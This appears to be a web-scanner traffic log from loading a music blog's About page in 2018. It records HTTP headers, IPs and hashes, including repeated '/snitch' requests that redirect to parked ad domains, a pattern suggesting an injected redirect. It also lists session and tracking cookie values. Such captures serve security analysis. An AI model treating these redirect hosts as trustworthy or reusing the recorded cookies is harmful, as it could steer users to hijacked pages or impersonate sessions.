HTTP/1.1 301 Moved Permanently
Content-Type: text/html; charset=utf-8
                                        
Cache-Control: no-cache
P3P: CP="This is not a P3P policy! See http://support.google.com/accounts/answer/151657?hl=en for more info."
Content-Length: 0
Expires: Tue, 27 Apr 1971 19:44:06 EST
X-Content-Type-Options: nosniff
Location: https://www.youtube.com/embed/HLypuN6cQ6A
X-XSS-Protection: 1; mode=block; report=https://www.google.com/appserve/security-bugs/log/youtube
Date: Wed, 24 Oct 2018 08:49:41 GMT
Server: YouTube Frontend Proxy
Set-Cookie: VISITOR_INFO1_LIVE=l8H6AlStFMc; path=/; domain=.youtube.com; expires=Mon, 22-Apr-2019 08:49:41 GMT; httponly YSC=xN6m3RWurhk; path=/; domain=.youtube.com; httponly VISITOR_INFO1_LIVE=l8H6AlStFMc; path=/; domain=.youtube.com; expires=Mon, 22-Apr-2019 08:49:41 GMT; httponly


--- Additional Info ---
                                        
                                            GET /snitch?default_keyword=A%20propos%20%7C%20REDOO&referrer=&se_referrer=&source=theforestsessions.com HTTP/1.1 
Host: c11n4.i.teaserguide.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://theforestsessions.com/blog/about/

                                         
                                         185.53.179.24
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
                                        
Server: nginx
Date: Wed, 24 Oct 2018 08:49:42 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
X-Check: 3c12dc4d54f8e22d666785b733b0052100c53444
X-Language: english
X-Template: tpl_CleanPeppermintBlack_oneclick
Content-Encoding: gzip


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   479
Md5:    012a611e0bbbeba34f2f8d3cd69357b7
Sha1:   31cbdf498b0673628c9b6ec88357bc64c9c2a081
Sha256: ae04adce59d2819555760bdd0fe0221b9b22755068b4c36c975aae5bd8fc5f12
                                        
                                            POST /gsdomainvalsha2g2 HTTP/1.1 
Host: ocsp2.globalsign.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 111
Content-Type: application/ocsp-request

                                         
                                         104.18.21.226
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Wed, 24 Oct 2018 08:49:42 GMT
Content-Length: 1558
Connection: keep-alive
Set-Cookie: __cfduid=d9eaac73faaf546d61ab1b42e35e9c4271540370982; expires=Thu, 24-Oct-19 08:49:42 GMT; path=/; domain=.globalsign.com; HttpOnly
Last-Modified: Wed, 24 Oct 2018 05:58:07 GMT
Expires: Sun, 28 Oct 2018 05:58:07 GMT
Etag: "b3d6f5029af7b8c8b76da072b854b41e516b237b"
Cache-Control: public, no-transform, must-revalidate, s-maxage=3600
CF-Cache-Status: HIT
Vary: Accept-Encoding
Server: cloudflare
CF-RAY: 46eb310fa27f4297-OSL


--- Additional Info ---
Magic:  data
Size:   1558
Md5:    61e42f0ede207f69afee97ac18bd5b80
Sha1:   b3d6f5029af7b8c8b76da072b854b41e516b237b
Sha256: 7a7fc8f88e72c04389ecbad9765621d93a7ae981b278341f15567db9c80a2da8
                                        
                                            GET /snitch?default_keyword=A%20propos%20%7C%20REDOO&referrer=&se_referrer=&source=theforestsessions.com HTTP/1.1 
Host: kfc.i.illuminationes.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://theforestsessions.com/blog/about/

                                         
                                         103.224.182.252
HTTP/1.1 302 Found
Content-Type: text/html; charset=UTF-8
                                        
Date: Wed, 24 Oct 2018 08:49:42 GMT
Server: Apache
X-Powered-By: PHP/5.6.38-0+deb8u1
Set-Cookie: __tad=1540370982.5093338; expires=Sat, 21-Oct-2028 08:49:42 GMT; Max-Age=315360000
Location: http://ww25.kfc.i.illuminationes.com/snitch?default_keyword=A%20propos%20%7C%20REDOO&referrer=&se_referrer=&source=theforestsessions.com
Content-Length: 0
Connection: close


--- Additional Info ---
                                        
                                            GET /themes/assets/style.css HTTP/1.1 
Host: d1lxhc4jvstzrp.cloudfront.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://c11n4.i.teaserguide.com/snitch?default_keyword=A%20propos%20%7C%20REDOO&referrer=&se_referrer=&source=theforestsessions.com

                                         
                                         13.32.118.23
HTTP/1.1 200 OK
Content-Type: text/css
                                        
Transfer-Encoding: chunked
Connection: keep-alive
Server: nginx
Date: Wed, 29 Nov 2017 11:11:19 GMT
Last-Modified: Mon, 19 Sep 2016 08:03:01 GMT
Etag: W/"57df9bb5-33d"
Content-Encoding: gzip
Vary: Accept-Encoding
Age: 77763
X-Cache: Hit from cloudfront
Via: 1.1 799ea31b59d82957314f51449c37cf09.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 0HnqfpmV6MjW7C6RUFFR-YwW9vr1haHYDqXJnSGflrquhCkcsaSyYw==


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   343
Md5:    c689d30608f974031e2c24c299c8dc4b
Sha1:   b483802c89db0131b6d7768a68c43e5ae411d601
Sha256: 78c58f7b6fb701d9644af4456df21dca0e90d09e88952227d6d178e8d4e5a386
                                        
                                            GET /themes/assets/skenzo.css HTTP/1.1 
Host: d1lxhc4jvstzrp.cloudfront.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://c11n4.i.teaserguide.com/snitch?default_keyword=A%20propos%20%7C%20REDOO&referrer=&se_referrer=&source=theforestsessions.com

                                         
                                         13.32.118.23
HTTP/1.1 200 OK
Content-Type: text/css
                                        
Transfer-Encoding: chunked
Connection: keep-alive
Server: nginx
Date: Wed, 29 Nov 2017 11:11:21 GMT
Last-Modified: Mon, 19 Sep 2016 08:03:01 GMT
Etag: W/"57df9bb5-159"
Content-Encoding: gzip
Vary: Accept-Encoding
Age: 77703
X-Cache: Hit from cloudfront
Via: 1.1 6d40713b5664db39adc5277188e03b57.cloudfront.net (CloudFront)
X-Amz-Cf-Id: ozNnmTWa07BIHaVm1qVct5vMYlfgvzRXF2X_yHFJTpxF85wEk1ikgQ==


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   208
Md5:    c2fb482175c53a41861e41226fa2f029
Sha1:   602df898a184b1c5a26897fda150ad95a631423d
Sha256: d5667164154a9ee109c677a9a9d072c45bdf2787440f2174f4a6d484c98c644e
                                        
                                            POST / HTTP/1.1 
Host: ocsp.digicert.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 115
Content-Type: application/ocsp-request

                                         
                                         93.184.220.29
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Accept-Ranges: bytes
Cache-Control: max-age=155762
Date: Wed, 24 Oct 2018 08:49:42 GMT
Etag: "5bcfe04a-1d7"
Expires: Fri, 26 Oct 2018 04:05:44 GMT
Last-Modified: Wed, 24 Oct 2018 03:00:26 GMT
Server: ECS (ska/F704)
X-Cache: HIT
Content-Length: 471


--- Additional Info ---
Magic:  data
Size:   471
Md5:    ee670970b7f1b78252973c67d98dc927
Sha1:   1917140e5f1a437b75444973e63608cff78e43a0
Sha256: f4bed9ccae0655d0ea91c5868378049ced47d2486146175501cd3e30fa96f8ac
                                        
                                            POST / HTTP/1.1 
Host: ocsp.digicert.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 115
Content-Type: application/ocsp-request

                                         
                                         93.184.220.29
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Accept-Ranges: bytes
Cache-Control: max-age=163519
Date: Wed, 24 Oct 2018 08:49:42 GMT
Etag: "5bcff7a7-1d7"
Expires: Fri, 26 Oct 2018 06:15:01 GMT
Last-Modified: Wed, 24 Oct 2018 04:40:07 GMT
Server: ECS (ska/F707)
X-Cache: HIT
Content-Length: 471


--- Additional Info ---
Magic:  data
Size:   471
Md5:    472d910c63fd2666f95ab107bdedcc9f
Sha1:   ff4e38065d0cf920b5a9f9a6a0797995b10d9d4d
Sha256: 33a9fff7950eaffd3af98b4cf41864b917d98ba501834b949c0331b2c17d73ba
                                        
                                            POST /GTSGIAG3 HTTP/1.1 
Host: ocsp.pki.goog
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 107
Content-Type: application/ocsp-request

                                         
                                         216.58.207.206
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Wed, 24 Oct 2018 08:49:42 GMT
Cache-Control: public, max-age=86400
Server: ocsp_responder
Content-Length: 463
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN


--- Additional Info ---
Magic:  data
Size:   463
Md5:    06f94f2d1ae2842e5fbecca522c30366
Sha1:   4fc78d4b69d2b9e26227d6ae0a51b29aab20f038
Sha256: 239331cc920a5e87c1999849ace2505136e1c855f5098358e20ba2ddeb65d07e
                                        
                                            POST /gsr2 HTTP/1.1 
Host: ocsp.pki.goog
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 112
Content-Type: application/ocsp-request

                                         
                                         216.58.207.206
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Wed, 24 Oct 2018 08:49:42 GMT
Cache-Control: public, max-age=86400
Server: ocsp_responder
Content-Length: 468
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN


--- Additional Info ---
Magic:  data
Size:   468
Md5:    d9d754520ae3340aa37cca6115eee05b
Sha1:   a0320372760d99c762cb2eb4b37f776625ef1b33
Sha256: 7dc8284c51c9a38dc1bf03bd28857ea5336e8f5c564eddbb1c9082ee43c93738
                                        
                                            GET /?dn=teaserguide.com&pid=9PO755G95 HTTP/1.1 
Host: findbetterresults.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://c11n4.i.teaserguide.com/snitch?default_keyword=A%20propos%20%7C%20REDOO&referrer=&se_referrer=&source=theforestsessions.com

                                         
                                         208.91.196.46
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
                                        
Date: Wed, 24 Oct 2018 08:49:42 GMT
Server: Apache
ntCoent-Length: 272
Keep-Alive: timeout=5, max=83
Connection: Keep-Alive
Cache-Control: private
Content-Encoding: gzip
Content-Length: 195


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   195
Md5:    1644e8e59a6cbe15626a3fee5f20f923
Sha1:   da85435ae979870cca0cfbd9798d8e64026aa353
Sha256: d9cfcc68cab05efc95996c98086b2a4c154160b1bedc05d653b00346407b5e6e
                                        
                                            GET /connect/xd_arbiter/r/__Bz3h5RzMx.js?version=42 HTTP/1.1 
Host: staticxx.facebook.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://theforestsessions.com/blog/about/

                                         
                                         31.13.72.12
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
                                        
Expires: Wed, 23 Oct 2019 21:09:58 GMT
Cache-Control: public,max-age=31536000,immutable
X-XSS-Protection: 0
Strict-Transport-Security: max-age=15552000; preload
X-Content-Type-Options: nosniff
Vary: Accept-Encoding
Content-Encoding: gzip
X-FB-Debug: RZX42lFo5h9p9vbqkU0D1OhsmgUTiUntuGj2Z03mHjDyMWqDKWwNeHDgeDrBnussg5DuKB4DyMeSA567fwbprg==
Date: Wed, 24 Oct 2018 08:49:42 GMT
Connection: keep-alive
Content-Length: 12726


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   12726
Md5:    72314915158d81d15aa755d4484d930b
Sha1:   6e13f9bee7adb6ef3cc19b4fcb5e8259ef216adf
Sha256: 1c86cd03e67121cdabcdb7fb5fbb501692bbced2e4b07bde4f2efe55c85565f5
                                        
                                            GET /embed/HLypuN6cQ6A HTTP/1.1 
Host: www.youtube.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://theforestsessions.com/blog/about/
Cookie: VISITOR_INFO1_LIVE=l8H6AlStFMc; YSC=xN6m3RWurhk

                                         
                                         216.58.207.206
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
                                        
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000
X-XSS-Protection: 1; mode=block; report=https://www.google.com/appserve/security-bugs/log/youtube
Cache-Control: no-cache
Content-Encoding: gzip
P3P: CP="This is not a P3P policy! See http://support.google.com/accounts/answer/151657?hl=en for more info."
Expires: Tue, 27 Apr 1971 19:44:06 EST
Date: Wed, 24 Oct 2018 08:49:42 GMT
Server: YouTube Frontend Proxy
Set-Cookie: PREF=f1=50000000; path=/; domain=.youtube.com; expires=Mon, 24-Jun-2019 20:42:42 GMT GPS=1; path=/; domain=.youtube.com; expires=Wed, 24-Oct-2018 09:19:42 GMT
Alt-Svc: quic=":443"; ma=2592000; v="44,43,39,35"
Transfer-Encoding: chunked


--- Additional Info ---
Magic:  gzip compressed data, max compression
Size:   14789
Md5:    f175367e28e3d16142dc64f1b29106e0
Sha1:   41245fcb35352653578f0ece9e4302b9b369bba7
Sha256: e023f71b65fdca3ce85d18d34bce0ba8b27f2b855254b3a1a39b5d55357107fe
                                        
                                            GET /yts/cssbin/www-player-vflwbNV9V.css HTTP/1.1 
Host: www.youtube.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.youtube.com/embed/HLypuN6cQ6A
Cookie: VISITOR_INFO1_LIVE=l8H6AlStFMc; YSC=xN6m3RWurhk; PREF=f1=50000000; GPS=1

                                         
                                         216.58.207.206
HTTP/1.1 200 OK
Content-Type: text/css
                                        
Accept-Ranges: bytes
Vary: Accept-Encoding, Origin
Content-Encoding: gzip
timing-allow-origin: https://www.youtube.com
Content-Length: 50506
Date: Mon, 22 Oct 2018 05:28:16 GMT
Expires: Tue, 22 Oct 2019 05:28:16 GMT
Last-Modified: Mon, 22 Oct 2018 04:17:17 GMT
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=31536000
Age: 184886
Alt-Svc: quic=":443"; ma=2592000; v="44,43,39,35"


--- Additional Info ---
Magic:  gzip compressed data, max compression
Size:   50506
Md5:    d19e323bd3a9f02b9d7e203c524b0e2e
Sha1:   d9568a4575b8744831aa74b063c4afe0ddc80d8a
Sha256: 7f92a140ff9abbbb301aaf215281594610a112c1cc89ba27605406539a6ba4e7
                                        
                                            GET /EmbeddedPlayer.html/ref=http%253A%252F%252Ftheforestsessions.com%252Fblog%252Fabout%252F/album=2437981243/size=large/bgcol=333333/linkcol=ffffff/transparent=true/ HTTP/1.1 
Host: bandcamp.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://theforestsessions.com/blog/about/
Cookie: client_id=612AB253E9EFC7A2C64E98EEF07EF7B47036FB89AE8D276585D0C398552F6861; BACKENDID=bender17-4

                                         
                                         151.101.193.28
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
                                        
Server: nginx
Content-Encoding: gzip
Accept-Ranges: bytes, bytes
Age: 0, 0
Transfer-Encoding: chunked
Date: Wed, 24 Oct 2018 08:49:42 GMT
Via: 1.1 varnish
Connection: keep-alive
X-Served-By: cache-bma1633-BMA
X-Cache: MISS
X-Cache-Hits: 0
X-Timer: S1540370983.756164,VS0,VE163
Vary: Accept-Encoding


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   9513
Md5:    749c95a9fb4833a4163eb1318a91fd2f
Sha1:   3f0b5c31f098ba1524f3da33514894447d40bbfe
Sha256: a173f9b76d5e7d5ae4223e2f9822b4e45d3fb596b2b15ac0b5e1eccb74788a40
                                        
                                            GET /snitch?default_keyword=A%20propos%20%7C%20REDOO&referrer=&se_referrer=&source=theforestsessions.com HTTP/1.1 
Host: kfc.i.illuminationes.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://theforestsessions.com/blog/about/

                                         
                                         103.224.182.252
HTTP/1.1 302 Found
Content-Type: text/html; charset=UTF-8
                                        
Date: Wed, 24 Oct 2018 08:49:42 GMT
Server: Apache
X-Powered-By: PHP/5.6.38-0+deb8u1
Set-Cookie: __tad=1540370982.4459167; expires=Sat, 21-Oct-2028 08:49:42 GMT; Max-Age=315360000
Location: http://ww25.kfc.i.illuminationes.com/snitch?default_keyword=A%20propos%20%7C%20REDOO&referrer=&se_referrer=&source=theforestsessions.com
Content-Length: 0
Connection: close


--- Additional Info ---
                                        
                                            GET /yts/jsbin/www-embed-player-vflBdeIAW/www-embed-player.js HTTP/1.1 
Host: www.youtube.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.youtube.com/embed/HLypuN6cQ6A
Cookie: VISITOR_INFO1_LIVE=l8H6AlStFMc; YSC=xN6m3RWurhk; PREF=f1=50000000; GPS=1

                                         
                                         216.58.207.206
HTTP/1.1 200 OK
Content-Type: text/javascript
                                        
Accept-Ranges: bytes
Vary: Accept-Encoding, Origin
Content-Encoding: gzip
timing-allow-origin: https://www.youtube.com
Content-Length: 36752
Date: Tue, 23 Oct 2018 10:08:55 GMT
Expires: Wed, 31 Oct 2018 10:08:55 GMT
Last-Modified: Tue, 23 Oct 2018 04:19:24 GMT
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=691200
Age: 81647
Alt-Svc: quic=":443"; ma=2592000; v="44,43,39,35"


--- Additional Info ---
Magic:  gzip compressed data, max compression
Size:   36752
Md5:    dd0a6befc86cf9bfbe9a36678d3b53bb
Sha1:   d0574645587ff7e353bd3fa3987a12e922abd376
Sha256: 7800ff3844481acf1aabda8bd0982b64f79fb761bb2f146c06a3410c2347458a
                                        
                                            GET /snitch?default_keyword=A%20propos%20%7C%20REDOO&referrer=&se_referrer=&source=theforestsessions.com HTTP/1.1 
Host: kfc.i.illuminationes.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://theforestsessions.com/blog/about/

                                         
                                         103.224.182.252
HTTP/1.1 302 Found
Content-Type: text/html; charset=UTF-8
                                        
Date: Wed, 24 Oct 2018 08:49:43 GMT
Server: Apache
X-Powered-By: PHP/5.6.38-0+deb8u1
Set-Cookie: __tad=1540370983.4187604; expires=Sat, 21-Oct-2028 08:49:43 GMT; Max-Age=315360000
Location: http://ww25.kfc.i.illuminationes.com/snitch?default_keyword=A%20propos%20%7C%20REDOO&referrer=&se_referrer=&source=theforestsessions.com
Content-Length: 0
Connection: close


--- Additional Info ---
                                        
                                            GET /yts/jsbin/player-vflsLe3jn/en_US/base.js HTTP/1.1 
Host: www.youtube.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.youtube.com/embed/HLypuN6cQ6A
Cookie: VISITOR_INFO1_LIVE=l8H6AlStFMc; YSC=xN6m3RWurhk; PREF=f1=50000000; GPS=1

                                         
                                         216.58.207.206
HTTP/1.1 200 OK
Content-Type: text/javascript
                                        
Accept-Ranges: bytes
Vary: Accept-Encoding, Origin
Content-Encoding: gzip
timing-allow-origin: https://www.youtube.com
Content-Length: 450173
Date: Tue, 23 Oct 2018 23:51:59 GMT
Expires: Wed, 31 Oct 2018 23:51:59 GMT
Last-Modified: Tue, 23 Oct 2018 04:19:24 GMT
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=691200
Age: 32263
Alt-Svc: quic=":443"; ma=2592000; v="44,43,39,35"


--- Additional Info ---
Magic:  gzip compressed data, max compression
Size:   450173
Md5:    2db5918ef1d595750b17a97fc1887d34
Sha1:   d7936289f4fa87385870ce02ba30bf64b5463bf7
Sha256: e4af52fa7e64652b0f2624c9a413c652ea20ae0240f4336b4c47bbbb2e37cec1
                                        
                                            GET /plugins/like_box.php?app_id=&channel=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2F__Bz3h5RzMx.js%3Fversion%3D42%23cb%3Df32e4903e362186%26domain%3Dtheforestsessions.com%26origin%3Dhttp%253A%252F%252Ftheforestsessions.com%252Ff24f266d447a256%26relation%3Dparent.parent&container_width=0&header=true&href=http%3A%2F%2Fwww.facebook.com%2Fredoolittle%2F&locale=en_US&sdk=joey&show_faces=true&stream=false&width=170 HTTP/1.1 
Host: www.facebook.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://theforestsessions.com/blog/about/

                                         
                                         31.13.72.36
HTTP/1.1 200 OK
Content-Type: text/html; charset="utf-8"
                                        
timing-allow-origin: *
X-XSS-Protection: 0
Pragma: no-cache
content-security-policy: default-src * data: blob:;script-src *.facebook.com *.fbcdn.net *.facebook.net *.google-analytics.com *.virtualearth.net *.google.com 127.0.0.1:* *.spotilocal.com:* 'unsafe-inline' 'unsafe-eval' *.atlassolutions.com blob: data: 'self';style-src data: blob: 'unsafe-inline' *;connect-src *.facebook.com facebook.com *.fbcdn.net *.facebook.net *.spotilocal.com:* wss://*.facebook.com:* https://fb.scanandcleanlocal.com:* *.atlassolutions.com attachment.fbsbx.com ws://localhost:* blob: *.cdninstagram.com 'self';
Cache-Control: private, no-cache, no-store, must-revalidate
Strict-Transport-Security: max-age=15552000; preload
X-Content-Type-Options: nosniff
Expires: Sat, 01 Jan 2000 00:00:00 GMT
Vary: Accept-Encoding
Content-Encoding: gzip
X-FB-Debug: CVRiqf1O7C9+GaMQY+zQfjxdzYSNZDQ3UTJD8kcZP4P1a2l35tmVxDFqsMHx1W6x76VJz9DRvmiC9DnZFXMr6Q==
Date: Wed, 24 Oct 2018 08:49:43 GMT
Transfer-Encoding: chunked
Connection: keep-alive


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   163357
Md5:    7a398a0a16a602b6b5d6e9b167469f08
Sha1:   45fe1a45ff12b5e96adfa4a8b2ae6170c70412e7
Sha256: 3d1f7b27b8bee6cb2989bbe8af4b49c6a799d46ba1fed8eacb52273085f133ea
                                        
                                            GET /rsrc.php/v3/yh/r/94opnalmU8p.js HTTP/1.1 
Host: static.xx.fbcdn.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.facebook.com/plugins/like_box.php?app_id=&channel=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2F__Bz3h5RzMx.js%3Fversion%3D42%23cb%3Df32e4903e362186%26domain%3Dtheforestsessions.com%26origin%3Dhttp%253A%252F%252Ftheforestsessions.com%252Ff24f266d447a256%26relation%3Dparent.parent&container_width=0&header=true&href=http%3A%2F%2Fwww.facebook.com%2Fredoolittle%2F&locale=en_US&sdk=joey&show_faces=true&stream=false&width=170

                                         
                                         31.13.72.12
HTTP/1.1 200 OK
Content-Type: application/x-javascript; charset=utf-8
                                        
Access-Control-Allow-Credentials: true
Cache-Control: public,max-age=31536000,immutable
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
content-security-policy: default-src * data: blob:;script-src *.facebook.com *.fbcdn.net *.facebook.net *.google-analytics.com *.virtualearth.net *.google.com 127.0.0.1:* *.spotilocal.com:* 'unsafe-inline' 'unsafe-eval' *.atlassolutions.com blob: data: 'self';style-src data: blob: 'unsafe-inline' *;connect-src *.facebook.com facebook.com *.fbcdn.net *.facebook.net *.spotilocal.com:* wss://*.facebook.com:* https://fb.scanandcleanlocal.com:* *.atlassolutions.com attachment.fbsbx.com ws://localhost:* blob: *.cdninstagram.com 'self';
timing-allow-origin: *
